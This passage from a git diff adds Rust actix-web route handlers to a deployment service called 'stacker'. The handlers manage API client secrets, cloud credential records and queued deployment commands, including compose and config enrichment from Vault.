actix_web::{post, web, Responder, Result}; +use sqlx::PgPool; +use std::sync::Arc; + +#[tracing::instrument(name = "Add client.", skip_all)] +#[post("")] +pub async fn add_handler( + user: web::ReqData>, + settings: web::Data, + pg_pool: web::Data, +) -> Result { + add_handler_inner(&user.id, settings, pg_pool) + .await + .map(|client| JsonResponse::build().set_item(client).ok("Ok")) + .map_err(|err| JsonResponse::::build().bad_request(err)) +} + +pub async fn add_handler_inner( + user_id: &String, + settings: web::Data, + pg_pool: web::Data, +) -> Result { + let client_count = db::client::count_by_user(pg_pool.get_ref(), user_id).await?; + if client_count >= settings.max_clients_number { + return Err("Too many clients created".to_string()); + } + + let client = create_client(pg_pool.get_ref(), user_id).await?; + db::client::insert(pg_pool.get_ref(), client).await +} + +async fn create_client(pg_pool: &PgPool, user_id: &String) -> Result { + let mut client = models::Client::default(); + client.user_id = user_id.clone(); + client.secret = client::generate_secret(pg_pool, 255) + .await + .map(|s| Some(s))?; + + Ok(client) +} diff --git a/stacker/stacker/src/routes/client/disable.rs b/stacker/stacker/src/routes/client/disable.rs new file mode 100644 index 0000000..1f79644 --- /dev/null +++ b/stacker/stacker/src/routes/client/disable.rs @@ -0,0 +1,59 @@ +use crate::configuration::Settings; +use crate::db; +use crate::helpers::JsonResponse; +use crate::models; +use actix_web::{put, web, Responder, Result}; +use sqlx::PgPool; +use std::sync::Arc; + +#[tracing::instrument(name = "User disable client.", skip_all)] +#[put("/{id}/disable")] +pub async fn disable_handler( + user: web::ReqData>, + _settings: web::Data, + pg_pool: web::Data, + path: web::Path<(i32,)>, +) -> Result { + let client_id = path.0; + let client = db::client::fetch(pg_pool.get_ref(), client_id) + .await + .map_err(|msg| JsonResponse::::build().internal_server_error(msg)) + .and_then(|client| match client { + Some(client) if client.user_id != user.id => { + Err(JsonResponse::::build().not_found("not found")) + } + Some(client) => Ok(client), + None => Err(JsonResponse::::build().not_found("not found")), + })?; + + disable_client(pg_pool.get_ref(), client).await +} + +#[tracing::instrument(name = "Admin disable client.", skip_all)] +#[put("/{id}/disable")] +pub async fn admin_disable_handler( + _user: web::ReqData>, + _settings: web::Data, + pg_pool: web::Data, + path: web::Path<(i32,)>, +) -> Result { + let client_id = path.0; + let client = db::client::fetch(pg_pool.get_ref(), client_id) + .await + .map_err(|msg| JsonResponse::::build().internal_server_error(msg))? + .ok_or_else(|| JsonResponse::::build().not_found("not found"))?; + + disable_client(pg_pool.get_ref(), client).await +} + +async fn disable_client(pg_pool: &PgPool, mut client: models::Client) -> Result { + if client.secret.is_none() { + return Err(JsonResponse::::build().bad_request("client is not active")); + } + + client.secret = None; + db::client::update(pg_pool, client) + .await + .map(|client| JsonResponse::build().set_item(client).ok("success")) + .map_err(|msg| JsonResponse::::build().bad_request(msg)) +} diff --git a/stacker/stacker/src/routes/client/enable.rs b/stacker/stacker/src/routes/client/enable.rs new file mode 100644 index 0000000..ceaa25b --- /dev/null +++ b/stacker/stacker/src/routes/client/enable.rs @@ -0,0 +1,62 @@ +use crate::configuration::Settings; +use crate::db; +use crate::helpers; +use crate::helpers::JsonResponse; +use crate::models; +use actix_web::{put, web, Responder, Result}; +use sqlx::PgPool; +use std::sync::Arc; + +#[tracing::instrument(name = "User enable client.", skip_all)] +#[put("/{id}/enable")] +pub async fn enable_handler( + user: web::ReqData>, + _settings: web::Data, + pg_pool: web::Data, + path: web::Path<(i32,)>, +) -> Result { + let client_id = path.0; + let client = db::client::fetch(pg_pool.get_ref(), client_id) + .await + .map_err(|msg| JsonResponse::::build().internal_server_error(msg))? + .ok_or_else(|| JsonResponse::::build().not_found("not found"))?; + + if client.user_id != user.id { + return Err(JsonResponse::::build().not_found("not found")); + } + + enable_client(pg_pool.get_ref(), client).await +} + +#[tracing::instrument(name = "Admin enable client.", skip_all)] +#[put("/{id}/enable")] +pub async fn admin_enable_handler( + _user: web::ReqData>, + _settings: web::Data, + pg_pool: web::Data, + path: web::Path<(i32,)>, +) -> Result { + let client_id = path.0; + let client = db::client::fetch(pg_pool.get_ref(), client_id) + .await + .map_err(|msg| JsonResponse::::build().internal_server_error(msg))? + .ok_or_else(|| JsonResponse::::build().not_found("not found"))?; + + enable_client(pg_pool.get_ref(), client).await +} + +async fn enable_client(pg_pool: &PgPool, mut client: models::Client) -> Result { + if client.secret.is_some() { + return Err(JsonResponse::::build().bad_request("client is already active")); + } + + client.secret = helpers::client::generate_secret(pg_pool, 255) + .await + .map(|secret| Some(secret)) + .map_err(|err| JsonResponse::::build().bad_request(err))?; + + db::client::update(pg_pool, client) + .await + .map(|client| JsonResponse::build().set_item(client).ok("success")) + .map_err(|err| JsonResponse::::build().bad_request(err)) +} diff --git a/stacker/stacker/src/routes/client/mod.rs b/stacker/stacker/src/routes/client/mod.rs new file mode 100644 index 0000000..0fc0fde --- /dev/null +++ b/stacker/stacker/src/routes/client/mod.rs @@ -0,0 +1,9 @@ +mod add; +mod disable; +mod enable; +mod update; + +pub use add::*; +pub use disable::*; +pub use enable::*; +pub use update::*; diff --git a/stacker/stacker/src/routes/client/update.rs b/stacker/stacker/src/routes/client/update.rs new file mode 100644 index 0000000..1f023c9 --- /dev/null +++ b/stacker/stacker/src/routes/client/update.rs @@ -0,0 +1,68 @@ +use crate::db; +use crate::helpers::client; +use crate::models; +use crate::{configuration::Settings, helpers::JsonResponse}; +use actix_web::{put, web, Responder, Result}; +use sqlx::PgPool; +use std::sync::Arc; + +#[tracing::instrument(name = "User update client.", skip_all)] +#[put("/{id}")] +pub async fn update_handler( + user: web::ReqData>, + _settings: web::Data, + pg_pool: web::Data, + path: web::Path<(i32,)>, +) -> Result { + let client_id = path.0; + let client = db::client::fetch(pg_pool.get_ref(), client_id) + .await + .map_err(|msg| JsonResponse::::build().internal_server_error(msg))? + .ok_or_else(|| JsonResponse::::build().not_found("not found"))?; + + if client.user_id != user.id { + return Err(JsonResponse::::build().not_found("not found")); + } + + update_client(pg_pool.get_ref(), client).await +} + +#[tracing::instrument(name = "Admin update client.", skip_all)] +#[put("/{id}")] +pub async fn admin_update_handler( + _user: web::ReqData>, + _settings: web::Data, + pg_pool: web::Data, + path: web::Path<(i32,)>, +) -> Result { + let client_id = path.0; + let client = db::client::fetch(pg_pool.get_ref(), client_id) + .await + .map_err(|msg| JsonResponse::::build().internal_server_error(msg))? + .ok_or_else(|| JsonResponse::::build().not_found("not found"))?; + + update_client(pg_pool.get_ref(), client).await +} + +async fn update_client(pg_pool: &PgPool, mut client: models::Client) -> Result { + if client.secret.is_none() { + return Err(JsonResponse::::build().bad_request("client is not active")); + } + + client.secret = client::generate_secret(pg_pool, 255) + .await + .map(|s| Some(s)) + .map_err(|msg| JsonResponse::::build().bad_request(msg))?; + + db::client::update(pg_pool, client) + .await + .map(|client| { + JsonResponse::::build() + .set_item(client) + .ok("success") + }) + .map_err(|err| { + tracing::error!("Failed to execute query: {:?}", err); + JsonResponse::::build().internal_server_error("") + }) +} diff --git a/stacker/stacker/src/routes/cloud/add.rs b/stacker/stacker/src/routes/cloud/add.rs new file mode 100644 index 0000000..9290594 --- /dev/null +++ b/stacker/stacker/src/routes/cloud/add.rs @@ -0,0 +1,51 @@ +use crate::db; +use crate::forms; +use crate::helpers::JsonResponse; +use crate::models; +use actix_web::{post, web, Responder, Result}; +use serde_valid::Validate; +use sqlx::PgPool; +use std::ops::Deref; +use std::sync::Arc; + +#[tracing::instrument(name = "Add cloud.", skip_all)] +#[post("")] +pub async fn add( + user: web::ReqData>, + mut form: web::Json, + pg_pool: web::Data, +) -> Result { + if !form.validate().is_ok() { + let errors = form.validate().unwrap_err().to_string(); + let err_msg = format!("Invalid data received {:?}", &errors); + tracing::debug!(err_msg); + + return Err(JsonResponse::::build().form_error(errors)); + } + + form.user_id = Some(user.id.clone()); + let cloud: models::Cloud = form.deref().into(); + + // Validate that encryption succeeded when save_token is enabled. + // encrypt_field() returns None on failure, which would silently store NULL credentials. + if cloud.save_token == Some(true) { + let has_token = cloud.cloud_token.is_some(); + let has_key_secret = cloud.cloud_key.is_some() && cloud.cloud_secret.is_some(); + if !has_token && !has_key_secret { + tracing::error!( + "Cloud credential encryption failed for provider '{}'. \ + Check that SECURITY_KEY is set and is exactly 32 bytes.", + cloud.provider + ); + return Err(JsonResponse::::build() + .bad_request("Failed to encrypt cloud credentials. Please contact support.")); + } + } + + db::cloud::insert(pg_pool.get_ref(), cloud) + .await + .map(|cloud| JsonResponse::build().set_item(cloud).ok("success")) + .map_err(|_err| { + JsonResponse::::build().internal_server_error("Failed to insert") + }) +} diff --git a/stacker/stacker/src/routes/cloud/delete.rs b/stacker/stacker/src/routes/cloud/delete.rs new file mode 100644 index 0000000..2dbf25f --- /dev/null +++ b/stacker/stacker/src/routes/cloud/delete.rs @@ -0,0 +1,37 @@ +use crate::db; +use crate::helpers::JsonResponse; +use crate::models; +use crate::models::Cloud; +use actix_web::{delete, web, Responder, Result}; +use sqlx::PgPool; +use std::sync::Arc; + +#[tracing::instrument(name = "Delete cloud record of a user.", skip_all)] +#[delete("/{id}")] +pub async fn item( + user: web::ReqData>, + path: web::Path<(i32,)>, + pg_pool: web::Data, +) -> Result { + // Get cloud apps of logged user only + let (id,) = path.into_inner(); + + let cloud = db::cloud::fetch(pg_pool.get_ref(), id) + .await + .map_err(|err| JsonResponse::::build().internal_server_error(err)) + .and_then(|cloud| match cloud { + Some(cloud) if cloud.user_id != user.id => { + Err(JsonResponse::::build().not_found("not found")) + } + Some(cloud) => Ok(cloud), + None => Err(JsonResponse::::build().not_found("not found")), + })?; + + db::cloud::delete(pg_pool.get_ref(), cloud.id, &user.id) + .await + .map_err(|err| JsonResponse::::build().internal_server_error(err)) + .and_then(|result| match result { + true => Ok(JsonResponse::::build().ok("Deleted")), + _ => Err(JsonResponse::::build().bad_request("Could not delete")), + }) +} diff --git a/stacker/stacker/src/routes/cloud/get.rs b/stacker/stacker/src/routes/cloud/get.rs new file mode 100644 index 0000000..ad8af5a --- /dev/null +++ b/stacker/stacker/src/routes/cloud/get.rs @@ -0,0 +1,51 @@ +use crate::db; +use crate::forms::CloudForm; +use crate::helpers::JsonResponse; +use crate::models; +use actix_web::{get, web, Responder, Result}; +use sqlx::PgPool; +use std::sync::Arc; + +#[tracing::instrument(name = "Get cloud credentials.", skip_all)] +#[get("/{id}")] +pub async fn item( + path: web::Path<(i32,)>, + user: web::ReqData>, + pg_pool: web::Data, +) -> Result { + let id = path.0; + db::cloud::fetch(pg_pool.get_ref(), id) + .await + .map_err(|_err| JsonResponse::::build().internal_server_error("")) + .and_then(|cloud| match cloud { + Some(cloud) if cloud.user_id != user.id => { + Err(JsonResponse::not_found("record not found")) + } + Some(cloud) => { + let cloud = CloudForm::decode_model(cloud, false); + Ok(JsonResponse::build().set_item(Some(cloud)).ok("OK")) + } + None => Err(JsonResponse::not_found("record not found")), + }) +} + +#[tracing::instrument(name = "Get all clouds.", skip_all)] +#[get("")] +pub async fn list( + _path: web::Path<()>, + user: web::ReqData>, + pg_pool: web::Data, +) -> Result { + db::cloud::fetch_by_user(pg_pool.get_ref(), user.id.as_ref()) + .await + .map(|clouds| { + let clouds = clouds + .into_iter() + .map(|cloud| CloudForm::decode_model(cloud, false)) + // .map_err(|e| tracing::error!("Failed to decode cloud, {:?}", e)) + .collect(); + + JsonResponse::build().set_list(clouds).ok("OK") + }) + .map_err(|_err| JsonResponse::::build().internal_server_error("")) +} diff --git a/stacker/stacker/src/routes/cloud/mod.rs b/stacker/stacker/src/routes/cloud/mod.rs new file mode 100644 index 0000000..89fd90a --- /dev/null +++ b/stacker/stacker/src/routes/cloud/mod.rs @@ -0,0 +1,9 @@ +pub mod add; +pub(crate) mod delete; +pub mod get; +pub mod update; + +// pub use add::*; +// pub use get::*; +// pub use update::*; +// pub use delete::*; diff --git a/stacker/stacker/src/routes/cloud/update.rs b/stacker/stacker/src/routes/cloud/update.rs new file mode 100644 index 0000000..189ede5 --- /dev/null +++ b/stacker/stacker/src/routes/cloud/update.rs @@ -0,0 +1,67 @@ +use crate::db; +use crate::forms; +use crate::helpers::JsonResponse; +use crate::models; +use actix_web::{put, web, web::Data, Responder, Result}; +use serde_valid::Validate; +use sqlx::PgPool; +use std::ops::Deref; +use std::sync::Arc; + +#[tracing::instrument(name = "Update cloud.", skip_all)] +#[put("/{id}")] +pub async fn item( + path: web::Path<(i32,)>, + form: web::Json, + user: web::ReqData>, + pg_pool: Data, +) -> Result { + let id = path.0; + let cloud_row = db::cloud::fetch(pg_pool.get_ref(), id) + .await + .map_err(|err| JsonResponse::::build().internal_server_error(err)) + .and_then(|cloud| match cloud { + Some(cloud) if cloud.user_id != user.id => { + Err(JsonResponse::::build().not_found("Cloud not found")) + } + Some(cloud) => Ok(cloud), + None => Err(JsonResponse::::build().not_found("Cloud not found")), + })?; + + if let Err(errors) = form.validate() { + return Err(JsonResponse::::build().form_error(errors.to_string())); + } + + let mut cloud: models::Cloud = form.deref().into(); + cloud.id = cloud_row.id; + cloud.user_id = user.id.clone(); + + // Validate that encryption succeeded when save_token is enabled. + if cloud.save_token == Some(true) { + let has_token = cloud.cloud_token.is_some(); + let has_key_secret = cloud.cloud_key.is_some() && cloud.cloud_secret.is_some(); + if !has_token && !has_key_secret { + tracing::error!( + "Cloud credential encryption failed for provider '{}'. \ + Check that SECURITY_KEY is set and is exactly 32 bytes.", + cloud.provider + ); + return Err(JsonResponse::::build() + .bad_request("Failed to encrypt cloud credentials. Please contact support.")); + } + } + + tracing::debug!("Updating cloud id={} provider={}", cloud.id, cloud.provider); + + db::cloud::update(pg_pool.get_ref(), cloud) + .await + .map(|cloud| { + JsonResponse::::build() + .set_item(cloud) + .ok("success") + }) + .map_err(|err| { + tracing::error!("Failed to execute query: {:?}", err); + JsonResponse::::build().internal_server_error("Could not update") + }) +} diff --git a/stacker/stacker/src/routes/command/cancel.rs b/stacker/stacker/src/routes/command/cancel.rs new file mode 100644 index 0000000..65dbf9f --- /dev/null +++ b/stacker/stacker/src/routes/command/cancel.rs @@ -0,0 +1,76 @@ +use crate::db; +use crate::helpers::JsonResponse; +use crate::models::User; +use actix_web::{post, web, Responder, Result}; +use sqlx::PgPool; +use std::sync::Arc; + +#[tracing::instrument(name = "Cancel command", skip_all)] +#[post("/{deployment_hash}/{command_id}/cancel")] +pub async fn cancel_handler( + user: web::ReqData>, + path: web::Path<(String, String)>, + pg_pool: web::Data, +) -> Result { + let (deployment_hash, command_id) = path.into_inner(); + + // Fetch command first to verify it exists and belongs to this deployment + let command = db::command::fetch_by_id(pg_pool.get_ref(), &command_id) + .await + .map_err(|err| { + tracing::error!("Failed to fetch command: {}", err); + JsonResponse::internal_server_error(err) + })?; + + let command = match command { + Some(cmd) => cmd, + None => { + tracing::warn!("Command not found: {}", command_id); + return Err(JsonResponse::not_found("Command not found")); + } + }; + + // Verify deployment_hash matches + if command.deployment_hash != deployment_hash { + tracing::warn!( + "Deployment hash mismatch: expected {}, got {}", + deployment_hash, + command.deployment_hash + ); + return Err(JsonResponse::not_found( + "Command not found for this deployment", + )); + } + + // Check if command can be cancelled (only queued or sent commands) + if command.status != "queued" && command.status != "sent" { + tracing::warn!( + "Cannot cancel command {} with status {}", + command_id, + command.status + ); + return Err(JsonResponse::bad_request(format!( + "Cannot cancel command with status '{}'", + command.status + ))); + } + + // Cancel the command (remove from queue and update status) + let cancelled_command = db::command::cancel(pg_pool.get_ref(), &command_id) + .await + .map_err(|err| { + tracing::error!("Failed to cancel command: {}", err); + JsonResponse::internal_server_error(err) + })?; + + tracing::info!( + "Cancelled command {} for deployment {} by user {}", + command_id, + deployment_hash, + user.id + ); + + Ok(JsonResponse::build() + .set_item(Some(cancelled_command)) + .ok("Command cancelled successfully")) +} diff --git a/stacker/stacker/src/routes/command/create.rs b/stacker/stacker/src/routes/command/create.rs new file mode 100644 index 0000000..339ed97 --- /dev/null +++ b/stacker/stacker/src/routes/command/create.rs @@ -0,0 +1,1488 @@ +use crate::configuration::Settings; +use crate::db; +use crate::forms::status_panel; +use crate::helpers::project::builder::parse_compose_services; +use crate::helpers::JsonResponse; +use crate::models::{Command, CommandPriority, User}; +use crate::project_app::{ + is_platform_managed_app_code, normalize_app_code, parse_registry_auth_config, + store_configs_to_vault_from_params, store_registry_auth_command_to_vault, + upsert_app_config_for_deploy, REGISTRY_AUTH_VAULT_KEY, +}; +use crate::services::env_model::reconcile_env_file_content; +use crate::services::{AppConfig, ConfigRenderer, ProjectAppService, VaultService}; +use actix_web::{post, web, Responder, Result}; +use serde::{Deserialize, Serialize}; +use serde_json::json; +use sqlx::PgPool; +use std::collections::HashSet; +use std::sync::Arc; + +#[derive(Debug, Deserialize)] +pub struct CreateCommandRequest { + pub deployment_hash: String, + pub command_type: String, + #[serde(default)] + pub priority: Option, + #[serde(default)] + pub parameters: Option, + #[serde(default)] + pub timeout_seconds: Option, + #[serde(default)] + pub metadata: Option, +} + +#[derive(Debug, Serialize, Default)] +pub struct CreateCommandResponse { + pub command_id: String, + pub deployment_hash: String, + pub status: String, +} + +#[tracing::instrument(name = "Create command", skip_all)] +#[post("")] +pub async fn create_handler( + user: web::ReqData>, + req: web::Json, + pg_pool: web::Data, + settings: web::Data, +) -> Result { + tracing::info!( + "[CREATE COMMAND HANDLER] User: {}, Deployment: {}, Command Type: {}", + user.id, + req.deployment_hash, + req.command_type + ); + if req.deployment_hash.trim().is_empty() { + return Err(JsonResponse::<()>::build().bad_request("deployment_hash is required")); + } + + if req.command_type.trim().is_empty() { + return Err(JsonResponse::<()>::build().bad_request("command_type is required")); + } + + let validated_parameters = + status_panel::validate_command_parameters(&req.command_type, &req.parameters).map_err( + |err| { + tracing::warn!("Invalid command payload: {}", err); + JsonResponse::<()>::build().bad_request(err) + }, + )?; + + // For deploy_app commands, upsert app config and sync to Vault before enriching parameters + let final_parameters = if req.command_type == "deploy_app" { + if let Some(registry_auth) = extract_registry_auth_from_params(&validated_parameters) { + store_registry_auth_command_to_vault( + &req.deployment_hash, + ®istry_auth, + &settings.vault, + ) + .await; + } + + // Try to get deployment_id from parameters, or look it up by deployment_hash + // If no deployment exists, auto-create project and deployment records + let deployment_id = match req + .parameters + .as_ref() + .and_then(|p| p.get("deployment_id")) + .and_then(|v| v.as_i64()) + .map(|v| v as i32) + { + Some(id) => Some(id), + None => { + // Auto-lookup project_id from deployment_hash + match crate::db::deployment::fetch_by_deployment_hash( + pg_pool.get_ref(), + &req.deployment_hash, + ) + .await + { + Ok(Some(deployment)) => { + tracing::debug!( + "Auto-resolved project_id {} from deployment_hash {}", + deployment.project_id, + &req.deployment_hash + ); + Some(deployment.project_id) + } + Ok(None) => { + // No deployment found - auto-create project and deployment + tracing::info!( + "No deployment found for hash {}, auto-creating project and deployment", + &req.deployment_hash + ); + + // Get app_code to use as project name + let app_code_for_name = req + .parameters + .as_ref() + .and_then(|p| p.get("app_code")) + .and_then(|v| v.as_str()) + .unwrap_or("project"); + + // Create project + let project = crate::models::Project::new( + user.id.clone(), + app_code_for_name.to_string(), + serde_json::json!({"auto_created": true, "deployment_hash": &req.deployment_hash}), + req.parameters.clone().unwrap_or(serde_json::json!({})), + ); + + match crate::db::project::insert(pg_pool.get_ref(), project).await { + Ok(created_project) => { + tracing::info!( + "Auto-created project {} (id={}) for deployment_hash {}", + created_project.name, + created_project.id, + &req.deployment_hash + ); + + // Create deployment linked to this project + let deployment = crate::models::Deployment::new( + created_project.id, + Some(user.id.clone()), + req.deployment_hash.clone(), + "pending".to_string(), + "runc".to_string(), + serde_json::json!({"auto_created": true}), + ); + + match crate::db::deployment::insert(pg_pool.get_ref(), deployment) + .await + { + Ok(created_deployment) => { + tracing::info!( + "Auto-created deployment (id={}) linked to project {}", + created_deployment.id, + created_project.id + ); + Some(created_project.id) + } + Err(e) => { + tracing::warn!("Failed to auto-create deployment: {}", e); + // Project was created, return its ID anyway + Some(created_project.id) + } + } + } + Err(e) => { + tracing::warn!("Failed to auto-create project: {}", e); + None + } + } + } + Err(e) => { + tracing::warn!("Failed to lookup deployment by hash: {}", e); + None + } + } + } + }; + + let app_code = req + .parameters + .as_ref() + .and_then(|p| p.get("app_code")) + .and_then(|v| v.as_str()); + let app_params = req.parameters.as_ref().and_then(|p| p.get("parameters")); + + tracing::info!( + "[DEPLOY_APP] deployment_id: {:?}, app_code: {:?}, has_app_params: {}, has_parameters: {}", + deployment_id, + app_code, + app_params.is_some(), + req.parameters.is_some() + ); + + if let Some(params) = app_params.or(req.parameters.as_ref()) { + tracing::info!( + "[DEPLOY_APP] Parameters contain - env: {}, config_files: {}, image: {}", + params + .get("env") + .and_then(|v| v.as_object()) + .map(|env| format!("{} keys", env.len())) + .unwrap_or_else(|| "None".to_string()), + params + .get("config_files") + .map(|v| format!("{} files", v.as_array().map(|a| a.len()).unwrap_or(0))) + .unwrap_or_else(|| "None".to_string()), + params + .get("image") + .map(|v| v.to_string()) + .unwrap_or_else(|| "None".to_string()) + ); + } + + tracing::debug!( + "deploy_app command detected, upserting app config for deployment_id: {:?}, app_code: {:?}", + deployment_id, + app_code + ); + if let (Some(deployment_id), Some(app_code), Some(app_params)) = + (deployment_id, app_code, app_params) + { + upsert_app_config_for_deploy( + pg_pool.get_ref(), + deployment_id, + app_code, + app_params, + &req.deployment_hash, + ) + .await; + } else if let (Some(deployment_id), Some(app_code)) = (deployment_id, app_code) { + // Have deployment_id and app_code but no nested parameters - use top-level parameters + if let Some(params) = req.parameters.as_ref() { + upsert_app_config_for_deploy( + pg_pool.get_ref(), + deployment_id, + app_code, + params, + &req.deployment_hash, + ) + .await; + } + } else if let Some(app_code) = app_code { + // No deployment_id available (auto-create failed), just store to Vault + if let Some(params) = req.parameters.as_ref() { + store_configs_to_vault_from_params( + params, + &req.deployment_hash, + app_code, + &settings.vault, + &settings.deployment, + ) + .await; + } + } else { + tracing::warn!("Missing app_code in deploy_app arguments"); + } + + let enriched_params = enrich_deploy_app_with_compose( + &req.deployment_hash, + validated_parameters, + &settings.vault, + pg_pool.get_ref(), + deployment_id, + ) + .await + .map_err(|error| { + tracing::error!( + deployment_hash = %req.deployment_hash, + error = %error, + "Failed to enrich deploy_app command" + ); + JsonResponse::<()>::build().internal_server_error(error) + })?; + + // Auto-discover child services from multi-service compose files + if let (Some(project_id), Some(app_code)) = (deployment_id, app_code) { + if let Some(compose_content) = enriched_params + .as_ref() + .and_then(|p| p.get("compose_content")) + .and_then(|c| c.as_str()) + { + discover_and_register_child_services( + pg_pool.get_ref(), + project_id, + app_code, + compose_content, + &req.deployment_hash, + ) + .await; + } + } + + enriched_params + } else { + validated_parameters + }; + + // Generate unique command ID + let command_id = format!("cmd_{}", uuid::Uuid::new_v4()); + + // Parse priority or default to Normal + let priority = req + .priority + .as_ref() + .and_then(|p| match p.to_lowercase().as_str() { + "low" => Some(CommandPriority::Low), + "normal" => Some(CommandPriority::Normal), + "high" => Some(CommandPriority::High), + "critical" => Some(CommandPriority::Critical), + _ => None, + }) + .unwrap_or(CommandPriority::Normal); + + // Build command + let mut command = Command::new( + command_id.clone(), + req.deployment_hash.clone(), + req.command_type.clone(), + user.id.clone(), + ) + .with_priority(priority.clone()); + + if let Some(params) = &final_parameters { + command = command.with_parameters(params.clone()); + } + + if let Some(timeout) = req.timeout_seconds { + command = command.with_timeout(timeout); + } + + if let Some(metadata) = &req.metadata { + command = command.with_metadata(metadata.clone()); + } + + // Insert command into database + let saved_command = db::command::insert(pg_pool.get_ref(), &command) + .await + .map_err(|err| { + tracing::error!("Failed to create command: {}", err); + JsonResponse::<()>::build().internal_server_error(err) + })?; + + // Add to queue - agent will poll and pick it up + db::command::add_to_queue( + pg_pool.get_ref(), + &saved_command.command_id, + &saved_command.deployment_hash, + &priority, + ) + .await + .map_err(|err| { + tracing::error!("Failed to add command to queue: {}", err); + JsonResponse::<()>::build().internal_server_error(err) + })?; + + tracing::info!( + command_id = %saved_command.command_id, + deployment_hash = %saved_command.deployment_hash, + "Command created and queued, agent will poll" + ); + + let response = CreateCommandResponse { + command_id: saved_command.command_id, + deployment_hash: saved_command.deployment_hash, + status: saved_command.status, + }; + + Ok(JsonResponse::build() + .set_item(Some(response)) + .created("Command created successfully")) +} + +fn extract_registry_auth_from_params( + params: &Option, +) -> Option { + let value = params.as_ref()?.get("registry_auth")?.clone(); + serde_json::from_value(value).ok() +} + +/// Enrich deploy_app command parameters with compose_content and config_files from Vault +/// Falls back to fetching templates from Install Service if not in Vault +/// If compose_content is already provided in the request, keep it as-is +pub(crate) async fn enrich_deploy_app_with_compose( + deployment_hash: &str, + params: Option, + vault_settings: &crate::configuration::VaultSettings, + pg_pool: &PgPool, + project_id: Option, +) -> Result, String> { + let mut params = params.unwrap_or_else(|| json!({})); + + // Get app_code from parameters - compose is stored under app_code key in Vault + // Clone to avoid borrowing params while we need to mutate it later + let app_code = params + .get("app_code") + .and_then(|v| v.as_str()) + .unwrap_or("_compose") + .to_string(); + + // Initialize Vault client + let vault = match VaultService::from_settings(vault_settings) { + Ok(v) => v, + Err(e) => { + tracing::warn!( + "Failed to initialize Vault: {}, cannot enrich deploy_app", + e + ); + return Ok(Some(params)); + } + }; + + if params.get("registry_auth").is_none() { + match vault + .fetch_app_config(deployment_hash, REGISTRY_AUTH_VAULT_KEY) + .await + { + Ok(registry_config) => match parse_registry_auth_config(®istry_config) { + Ok(registry_auth) => { + tracing::info!( + deployment_hash = %deployment_hash, + "Enriched deploy_app command with stored registry auth" + ); + if let Some(obj) = params.as_object_mut() { + obj.insert("registry_auth".to_string(), json!(registry_auth)); + } + } + Err(error) => { + tracing::warn!( + deployment_hash = %deployment_hash, + error = %error, + "Failed to parse stored registry auth from Vault" + ); + } + }, + Err(crate::services::vault_service::VaultError::NotFound(_)) => { + tracing::debug!( + deployment_hash = %deployment_hash, + "No stored registry auth found for deploy_app enrichment" + ); + } + Err(error) => { + tracing::warn!( + deployment_hash = %deployment_hash, + error = %error, + "Failed to fetch registry auth from Vault during deploy_app enrichment" + ); + } + } + } + + // If compose_content is not already provided, fetch from Vault + if params + .get("compose_content") + .and_then(|v| v.as_str()) + .is_none() + { + tracing::debug!( + deployment_hash = %deployment_hash, + app_code = %app_code, + "Looking up compose content in Vault" + ); + + if let Some(rendered_compose) = + render_project_compose_for_deploy_app(pg_pool, project_id, deployment_hash, &app_code) + .await + { + tracing::info!( + deployment_hash = %deployment_hash, + app_code = %app_code, + "Enriched deploy_app command with freshly rendered project compose" + ); + if let Some(obj) = params.as_object_mut() { + obj.insert("compose_content".to_string(), json!(rendered_compose)); + } + } else if let Ok(compose_config) = vault.fetch_app_config(deployment_hash, &app_code).await + { + tracing::info!( + deployment_hash = %deployment_hash, + app_code = %app_code, + "Enriched deploy_app command with app compose_content from Vault" + ); + if let Some(obj) = params.as_object_mut() { + obj.insert("compose_content".to_string(), json!(compose_config.content)); + } + } else { + // Fallback to the deployment-level compose generated during full sync. + match vault.fetch_app_config(deployment_hash, "_compose").await { + Ok(compose_config) => { + tracing::info!( + deployment_hash = %deployment_hash, + "Enriched deploy_app command with deployment compose_content from Vault" + ); + if let Some(obj) = params.as_object_mut() { + obj.insert("compose_content".to_string(), json!(compose_config.content)); + } + } + Err(e) => { + tracing::warn!( + deployment_hash = %deployment_hash, + app_code = %app_code, + error = %e, + "Failed to fetch compose from Vault, deploy_app may fail if compose not on disk" + ); + } + } + } + } else { + tracing::debug!("deploy_app already has compose_content, skipping Vault fetch"); + } + + // Collect config files from Vault (bundled configs, legacy single config, and .env files) + let mut config_files: Vec = Vec::new(); + + // If config_files already provided, use them + if let Some(existing_configs) = params.get("config_files").and_then(|v| v.as_array()) { + config_files.extend(existing_configs.iter().cloned()); + } + + // Try to fetch bundled config files from Vault (new format: "{app_code}_configs") + let configs_key = format!("{}_configs", app_code); + tracing::debug!( + deployment_hash = %deployment_hash, + configs_key = %configs_key, + "Looking up bundled config files in Vault" + ); + + match vault.fetch_app_config(deployment_hash, &configs_key).await { + Ok(bundle_config) => { + // Parse the JSON array of configs + if let Ok(configs_array) = + serde_json::from_str::>(&bundle_config.content) + { + tracing::info!( + deployment_hash = %deployment_hash, + app_code = %app_code, + config_count = configs_array.len(), + "Found bundled config files in Vault" + ); + config_files.extend(configs_array); + } else { + tracing::warn!( + deployment_hash = %deployment_hash, + app_code = %app_code, + "Failed to parse bundled config files from Vault" + ); + } + } + Err(_) => { + // Fall back to legacy single config format ("{app_code}_config") + let config_key = format!("{}_config", app_code); + tracing::debug!( + deployment_hash = %deployment_hash, + config_key = %config_key, + "Looking up legacy single config file in Vault" + ); + + match vault.fetch_app_config(deployment_hash, &config_key).await { + Ok(app_config) => { + tracing::info!( + deployment_hash = %deployment_hash, + app_code = %app_code, + destination = %app_config.destination_path, + "Found app config file in Vault" + ); + // Convert AppConfig to the format expected by status panel + let config_file = json!({ + "content": app_config.content, + "content_type": app_config.content_type, + "destination_path": app_config.destination_path, + "file_mode": app_config.file_mode, + "owner": app_config.owner, + "group": app_config.group, + }); + config_files.push(config_file); + } + Err(e) => { + tracing::debug!( + deployment_hash = %deployment_hash, + config_key = %config_key, + error = %e, + "No app config found in Vault (this is normal for apps without config files)" + ); + } + } + } + } + + // Also fetch .env file from Vault (stored under "{app_code}_env" key) + let env_key = format!("{}_env", app_code); + let force_config_overwrite = params + .get("force_config_overwrite") + .or_else(|| params.get("force_recreate")) + .and_then(|value| value.as_bool()) + .unwrap_or(false); + tracing::debug!( + deployment_hash = %deployment_hash, + env_key = %env_key, + "Looking up .env file in Vault" + ); + + if let Some((env_config, _config_hash)) = render_project_env_for_deploy_app( + pg_pool, + project_id, + deployment_hash, + &app_code, + vault_settings, + ) + .await? + { + tracing::info!( + deployment_hash = %deployment_hash, + app_code = %app_code, + destination = %env_config.destination_path, + "Enriched deploy_app command with freshly rendered 